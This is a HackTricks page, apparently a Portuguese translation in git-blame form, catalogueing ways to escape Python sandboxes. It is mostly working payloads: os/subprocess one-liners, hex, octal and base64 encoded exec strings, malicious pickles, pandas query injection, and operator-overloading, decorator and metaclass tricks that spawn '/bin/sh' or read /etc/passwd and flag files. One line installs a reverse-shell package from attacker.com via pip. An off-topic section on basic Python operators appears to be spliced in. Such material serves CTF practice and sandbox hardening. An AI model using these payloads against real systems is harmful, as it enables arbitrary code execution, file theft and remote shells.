hacktricks/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

1094 lines
66 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Bypass de Sandboxes do Python
2022-04-28 16:01:33 +00:00
2022-09-30 10:43:59 +00:00
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
2022-08-31 22:35:39 +00:00
2023-06-06 18:56:34 +00:00
Use o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
Estes são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários.
2023-06-06 18:56:34 +00:00
## Bibliotecas de Execução de Comandos
2023-06-06 18:56:34 +00:00
A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se pode importar alguma dessas bibliotecas:
```python
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
2021-02-03 23:03:54 +00:00
platform.os.system("ls")
2021-10-06 00:19:16 +00:00
pdb.os.system("ls")
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
2023-06-06 18:56:34 +00:00
Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do sandbox do Python e para **escrever algum código** que você poderia **executar** para **burlar** o sandbox.
{% hint style="danger" %}
2023-06-06 18:56:34 +00:00
A função **input()** do Python2 permite executar código Python antes que o programa falhe.
{% endhint %}
2023-06-06 18:56:34 +00:00
O Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte comando imprimirá de onde o Python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
2023-06-06 18:56:34 +00:00
## Burlando o sandbox do pickle com os pacotes Python instalados por padrão
2021-02-05 00:28:18 +00:00
2023-06-06 18:56:34 +00:00
### Pacotes padrão
2021-02-05 00:28:18 +00:00
2023-06-06 18:56:34 +00:00
Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Observe que a partir de um pickle, você pode fazer com que o ambiente Python **importe bibliotecas arbitrárias** instaladas no sistema.\
Por exemplo, o seguinte pickle, quando carregado, vai importar a biblioteca pip para usá-la:
2021-02-05 00:28:18 +00:00
```python
#Note that here we are importing the pip library so the pickle is created correctly
2022-09-12 21:12:49 +00:00
#however, the victim doesn't even need to have the library installed to execute it
2021-02-05 00:28:18 +00:00
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
2023-06-06 18:56:34 +00:00
Para obter mais informações sobre como o pickle funciona, verifique este link: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
2021-02-05 00:28:18 +00:00
2023-06-06 18:56:34 +00:00
### Pacote Pip
2021-11-23 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Truque compartilhado por **@isHaacK**
2021-02-05 00:28:18 +00:00
2023-06-06 18:56:34 +00:00
Se você tiver acesso ao `pip` ou `pip.main()`, poderá instalar um pacote arbitrário e obter um shell reverso chamando:
2021-02-05 00:28:18 +00:00
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
2023-06-06 18:56:34 +00:00
Você pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo, você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o shell reverso**:
2021-02-05 00:28:18 +00:00
2023-01-12 14:56:14 +00:00
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
2021-02-05 00:28:18 +00:00
2021-02-05 08:59:17 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Este pacote é chamado de `Reverse`. No entanto, foi especialmente criado para que quando você sair do shell reverso, o restante da instalação falhará, para que você **não deixe nenhum pacote python extra instalado no servidor** quando sair.
2021-02-05 08:59:17 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
## Avaliando código python
2022-07-05 11:06:01 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Observe que `exec` permite strings multilinhas e ";", mas `eval` não (verifique o operador walrus)
2022-07-05 11:06:01 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
```
```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
2023-04-14 11:17:09 +00:00
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
2023-06-06 18:56:34 +00:00
### Outras bibliotecas que permitem avaliar código Python
2023-01-22 23:51:23 +00:00
```python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
2023-06-06 18:56:34 +00:00
## Operadores e truques rápidos
### Operadores
- `**` é o operador de exponenciação. Por exemplo, `2**3` é igual a 8.
- `//` é o operador de divisão inteira. Por exemplo, `7//3` é igual a 2.
- `not` é o operador de negação lógica. Por exemplo, `not True` é igual a False.
- `and` é o operador lógico "e". Por exemplo, `True and False` é igual a False.
- `or` é o operador lógico "ou". Por exemplo, `True or False` é igual a True.
2023-01-22 23:51:23 +00:00
2023-06-06 18:56:34 +00:00
### Truques rápidos
2022-07-05 11:06:01 +00:00
2023-06-06 18:56:34 +00:00
- `a, b = b, a` é uma maneira rápida de trocar os valores de `a` e `b`.
- `a = b = c = 0` é uma maneira rápida de definir várias variáveis como 0.
- `if x <= a <= y` é uma maneira rápida de verificar se `a` está entre `x` e `y`.
- `if x in [a, b, c]` é uma maneira rápida de verificar se `x` está em uma lista de valores.
- `if x is None` é uma maneira rápida de verificar se `x` é nulo.
- `if x:` é uma maneira rápida de verificar se `x` é verdadeiro (ou seja, não é falso, 0, vazio, etc.).
- `if not x:` é uma maneira rápida de verificar se `x` é falso (ou seja, é falso, 0, vazio, etc.).
2022-07-05 11:06:01 +00:00
```python
2022-09-12 21:12:49 +00:00
# walrus operator allows generating variable inside a list
2022-07-05 11:06:01 +00:00
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
2023-06-06 18:56:34 +00:00
## Bypassando proteções através de codificações (UTF-7)
2022-07-05 11:06:01 +00:00
2023-06-06 18:56:34 +00:00
Neste [**artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), a codificação UTF-7 é utilizada para carregar e executar código Python arbitrário dentro de um aparente sandbox:
2023-01-13 17:40:30 +00:00
```python
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
2023-06-06 18:56:34 +00:00
Também é possível contorná-lo usando outras codificações, como `raw_unicode_escape` e `unicode_escape`.
2023-01-13 17:40:30 +00:00
2023-06-06 18:56:34 +00:00
## Execução de Python sem chamadas
2022-07-02 18:05:33 +00:00
2023-06-06 18:56:34 +00:00
Se você estiver dentro de uma prisão Python que **não permita que você faça chamadas**, ainda há algumas maneiras de **executar funções, código** e **comandos** arbitrários.
2022-07-03 20:38:21 +00:00
2023-06-06 18:56:34 +00:00
### RCE com [decoradores](https://docs.python.org/3/glossary.html#term-decorator)
2022-07-03 20:38:21 +00:00
```python
2022-07-05 10:47:46 +00:00
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass
# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)
2022-09-12 21:12:49 +00:00
# So just send your python code when prompted and it will be executed
2022-07-05 10:47:46 +00:00
# Another approach without calling input:
2022-07-03 20:38:21 +00:00
@eval
@'__import__("os").system("sh")'.format
class _:pass
```
2023-06-06 18:56:34 +00:00
### RCE criando objetos e sobrecarregando
2022-07-03 20:38:21 +00:00
2023-06-06 18:56:34 +00:00
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem precisar chamá-los diretamente**.
2022-07-05 10:47:46 +00:00
2023-06-06 18:56:34 +00:00
#### RCE com classes personalizadas
2022-07-02 18:05:33 +00:00
2023-06-06 18:56:34 +00:00
Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazê-los **executar código arbitrário** quando **acionados** sem chamá-los diretamente.
2022-07-02 18:05:33 +00:00
```python
2022-09-12 21:12:49 +00:00
# This class has 3 different ways to trigger RCE without directly calling any function
2022-07-05 10:47:46 +00:00
class RCE:
def __init__(self):
2022-07-05 10:49:47 +00:00
self += "print('Hello from __init__ + __iadd__')"
2022-07-05 10:47:46 +00:00
__iadd__ = exec #Triggered when object is created
2022-07-05 10:49:47 +00:00
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
2022-07-05 10:47:46 +00:00
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>
2022-07-05 11:06:01 +00:00
# These lines abuse directly the previous class to get RCE
2022-07-05 10:49:47 +00:00
rce = RCE() #Later we will see how to create objects without calling the constructor
2022-07-05 10:47:46 +00:00
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
2022-07-05 10:49:47 +00:00
del rce
2022-07-05 10:47:46 +00:00
2022-07-05 11:06:01 +00:00
# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
2022-07-05 10:47:46 +00:00
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
2023-06-06 18:56:34 +00:00
#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
2022-07-05 10:47:46 +00:00
2023-06-06 18:56:34 +00:00
A coisa chave que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como metaclass.
2022-07-05 10:47:46 +00:00
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
2022-09-12 21:12:49 +00:00
# This will define the members of the "subclass"
2022-07-05 10:47:46 +00:00
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do
Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
2023-06-06 18:56:34 +00:00
#### Criando objetos com exceções
2022-07-05 10:47:46 +00:00
2023-06-06 18:56:34 +00:00
Quando uma **exceção é acionada**, um objeto da classe **Exception** é **criado** sem que você precise chamar o construtor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
2022-07-05 10:47:46 +00:00
```python
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object
2022-07-02 18:05:33 +00:00
2022-09-12 21:12:49 +00:00
# RCE with __add__ overloading and try/except + raise generated object
2022-07-05 10:47:46 +00:00
class Klecko(Exception):
__add__ = exec
2022-07-02 18:05:33 +00:00
try:
raise Klecko
except Klecko as k:
2022-07-05 10:47:46 +00:00
k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
```
2023-06-06 18:56:34 +00:00
### Mais RCE
2022-07-05 10:47:46 +00:00
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
2022-09-12 21:12:49 +00:00
# Therefore the __import__ functions are overwritten with our RCE
2022-07-05 10:47:46 +00:00
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
2022-07-02 18:05:33 +00:00
```
2023-06-06 18:56:34 +00:00
### Ler arquivo com a ajuda de builtins e licença
2022-07-03 20:38:21 +00:00
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
2022-09-30 10:43:59 +00:00
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
2022-08-31 22:35:39 +00:00
2023-06-06 18:56:34 +00:00
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-07-02 18:05:33 +00:00
## Builtins
2023-06-06 18:56:34 +00:00
* [**Funções integradas do python2**](https://docs.python.org/2/library/functions.html)
* [**Funções integradas do python3**](https://docs.python.org/3/library/functions.html)
2023-06-06 18:56:34 +00:00
Se você pode acessar o objeto **`__builtins__`**, pode importar bibliotecas (observe que você também pode usar aqui outra representação de string mostrada na última seção):
```python
2021-10-06 00:19:16 +00:00
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
2023-06-06 18:56:34 +00:00
### Sem Builtins
2023-06-06 18:56:34 +00:00
Quando você não tem `__builtins__`, não será possível importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não são carregadas**.\
No entanto, **por padrão, o Python importa muitos módulos na memória**. Esses módulos podem parecer inofensivos, mas alguns deles também estão importando funcionalidades perigosas dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
2023-06-06 18:56:34 +00:00
Nos exemplos a seguir, você pode observar como **abusar** de alguns desses módulos "**inofensivos**" carregados para **acessar** **funcionalidades perigosas** dentro deles.
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
2022-07-02 18:05:33 +00:00
#### Python3
2023-06-06 18:56:34 +00:00
Python3
```python
2021-10-04 11:09:20 +00:00
# Obtain builtins from a globally defined function
2022-05-01 12:41:36 +00:00
# https://docs.python.org/3/library/functions.html
2021-10-04 11:09:20 +00:00
print.__self__
dir.__self__
globals.__self__
2021-10-06 00:19:16 +00:00
len.__self__
2021-10-04 11:09:20 +00:00
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
2022-09-12 21:12:49 +00:00
# Get builtins from loaded classes
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
2023-06-06 18:56:34 +00:00
[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **locais** onde você pode encontrar os **builtins**.
2023-06-06 18:56:34 +00:00
#### Python2 e Python3
```python
2022-09-12 21:12:49 +00:00
# Recover __builtins__ and make everything easier
2021-10-06 00:19:16 +00:00
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
2023-06-06 18:56:34 +00:00
### Cargas úteis de Builtins
2021-10-04 11:09:20 +00:00
```python
# Possible payloads once you have found the builtins
2022-11-05 10:56:30 +00:00
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
2022-09-12 21:12:49 +00:00
# There are lots of other payloads that can be abused to execute commands
2021-10-06 00:19:16 +00:00
# See them below
2021-10-04 11:09:20 +00:00
```
2023-06-06 18:56:34 +00:00
## Globais e locais
2021-10-04 11:09:20 +00:00
2023-06-06 18:56:34 +00:00
Verificar as variáveis **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
2021-06-25 13:52:40 +00:00
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
2021-10-06 00:19:16 +00:00
# Obtain globals from a defined function
get_flag.__globals__
2021-10-06 09:50:35 +00:00
# Obtain globals from an object of a class
class_obj.__init__.__globals__
2021-10-06 00:19:16 +00:00
# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
2022-05-01 12:41:36 +00:00
# Without the use of the dir() function
2021-10-06 00:19:16 +00:00
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
2021-06-25 13:52:40 +00:00
```
2023-06-06 18:56:34 +00:00
[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **locais** onde você pode encontrar os **globals**.
2021-06-25 13:52:40 +00:00
2023-06-06 18:56:34 +00:00
## Descobrindo Execução Arbitrária
2023-06-06 18:56:34 +00:00
Aqui eu quero explicar como descobrir facilmente **funcionalidades mais perigosas carregadas** e propor exploits mais confiáveis.
2021-06-25 13:39:46 +00:00
2023-06-06 18:56:34 +00:00
#### Acessando subclasses com bypasses
2021-06-25 13:39:46 +00:00
2023-06-06 18:56:34 +00:00
Uma das partes mais sensíveis dessa técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()` mas há **outras maneiras possíveis**:
2021-06-25 13:39:46 +00:00
```python
#You can access the base from mostly anywhere (in regular conditions)
2021-10-06 00:19:16 +00:00
"".__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
(1).__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
bool.__class__.__base__.__subclasses__()
2021-10-06 00:19:16 +00:00
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
2021-06-25 13:39:46 +00:00
#You can also access it without "__base__" or "__class__"
2022-05-01 12:41:36 +00:00
# You can apply the previous technique also here
